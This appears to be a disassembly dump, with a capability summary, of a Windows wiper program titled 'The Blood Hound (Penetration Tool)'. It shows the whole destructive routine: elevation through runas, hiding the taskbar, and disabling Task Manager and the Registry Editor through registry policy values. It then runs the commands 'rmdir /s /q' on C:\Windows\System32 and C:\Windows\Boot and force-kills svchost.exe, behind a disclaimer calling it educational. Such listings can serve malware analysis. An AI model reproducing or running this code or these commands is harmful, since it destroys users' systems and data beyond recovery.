Function at 0x1400014c0
Capabilities:
Create process on windows
Disable system features via registry on windows
Execute command
Find taskbar
Get token membership
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor r14d, r14d
mov dword [rsp + 0x60], r14d
mov qword [rsp + 0x68], r14
mov dword [rbp - 0x78], r14d
mov word [rbp - 0x74], 0x500
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001571
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], r14d
jne 0x1400015b6
mov r8d, 0x104
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x70]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str.Administration_access_granted.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400044f1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.title_The_Blood_Hound__Penetration_Tool_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r14b
lea rdx, str._CRITICAL_:_This_tool_has_been_developed_by_me__Rhys1xh___for_educational_and_experimental_purposes_EXCLUSIVELY__This_program_will_guarantee_total_system_failure__therefore_i_advice_you_to_run_this_program_only_if_you_know_what_you_are_doing._I_am_not_responsible_for_any_kind_of_damage__as_this_tool_was_developed_as_an_act_of_kindness_for_cybersecurity_enthusiasts_and_ethical_hackers._This_malware_is_no_joke__are_you_sure_you_want_to_continue___Y_N_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400044f1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140002190
lea rcx, [rsp + 0x68]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rbp - 0x80]
cmp rsi, 0xf
cmova rcx, rbx
mov rdi, qword [rsp + 0x78]
cmp rdi, 1
jne 0x140001c8a
mov r8, rdi
lea rdx, [0x140004748]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001c8a
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
cmp rsi, 0xf
jbe 0x140001708
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001700
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018e0
mov rcx, rbx
call fcn.14000277c
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
lea rdx, str._CRITICAL_:_Are_you_really_sure_about_that__This_program_is_extremely_destructive_and_will_most_likely_render_your_system_completely_unusuable_and_unrecoverable._Really_want_to_continue___Y_N_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400044f1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140002190
lea rcx, [rsp + 0x68]
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rbp - 0x80]
cmp rdi, 0xf
cmova rcx, rbx
mov rsi, qword [rsp + 0x78]
cmp rsi, 1
jne 0x140001c5b
mov r8, rsi
lea rdx, [0x140004748]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001c5b
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
cmp rdi, 0xf
jbe 0x1400017fa
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400017f2
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018e0
mov rcx, rbx
call fcn.14000277c
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
lea rdx, str._CRITICAL_:_This_my_last_warning.__Run_Exit_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400044f1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140002190
lea rcx, [rsp + 0x68]
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rbp - 0x80]
cmp rdi, 0xf
cmova rcx, rbx
mov rsi, qword [rsp + 0x78]
cmp rsi, 3
jne 0x140001c2c
mov r8, rsi
lea rdx, [0x140004868]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001c2c
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
cmp rdi, 0xf
jbe 0x1400018ef
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400018e7
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14000277c
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rdi, rax
test rax, rax
jne 0x140001ba7
lea rdx, str.Error:_Unable_to_get_the_console_window_handle.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140001953
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.Taskbar_has_been_hidden.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x140001961
lea rdx, str.Failed_to_find_the_taskbar_window.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f70
lea rdx, [0x140002150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400019e3
lea r8, [rsp + 0x68]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x1400019e3
lea rdx, str.Failed_to_create_or_open_the_registry_key.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001a5a
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001a2c
lea rdx, str.Failed_to_set_the_registry_value.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140001a3a
lea rdx, str.Task_Manager_has_been_disabled.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
lea rdx, [0x140002150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.1400012d0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001acc
lea r8, [rsp + 0x68]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x140001acc
lea rdx, str.Failed_to_create_or_open_the_registry_key.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001b43
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRegistryTools
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001b15
lea rdx, str.Failed_to_set_the_registry_value.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140001b23
lea rdx, str.Registry_Editor__regedit__has_been_disabled.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
lea rdx, [0x140002150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.rmdir__s__q_C:WindowsSystem32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_C:WindowsBoot
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__f__im_svchost.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140002720
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r15d, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r12d, eax
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowRect]
mov esi, dword [rsp + 0x70]
sub esi, dword [rsp + 0x68]
mov r14d, dword [rsp + 0x74]
sub r14d, dword [rsp + 0x6c]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
sub r15d, esi
sub r12d, r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r15d
mov ebx, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r12d
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], r14d
mov r9d, esi
mov r8d, edx
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.USER32.dll_MoveWindow]
jmp 0x140001bf6
lea rcx, [rsp + 0x68]
cmp rdi, 0xf
cmova rcx, rbx
cmp rsi, 4
jne 0x140001d1f
mov r8, rsi
lea rdx, str.Exit
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140001cc3
jmp 0x140001d1f
lea rcx, [rsp + 0x68]
cmp rdi, 0xf
cmova rcx, rbx
cmp rsi, 1
jne 0x140001d55
mov r8, rsi
lea rdx, [0x140004750]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140001cd6
jmp 0x140001d55
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rbx
cmp rdi, 1
jne 0x140001ce9
mov r8, rdi
lea rdx, [0x140004750]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001ce9
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001290
nop
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001290
nop
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001290
nop
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Unknown_Command.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001290
nop
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Unknown_Command.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001290
nop
lea rcx, [0x14000474c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Unknown_Command.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f70
mov rcx, rax
lea rdx, [0x140002150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001290
int3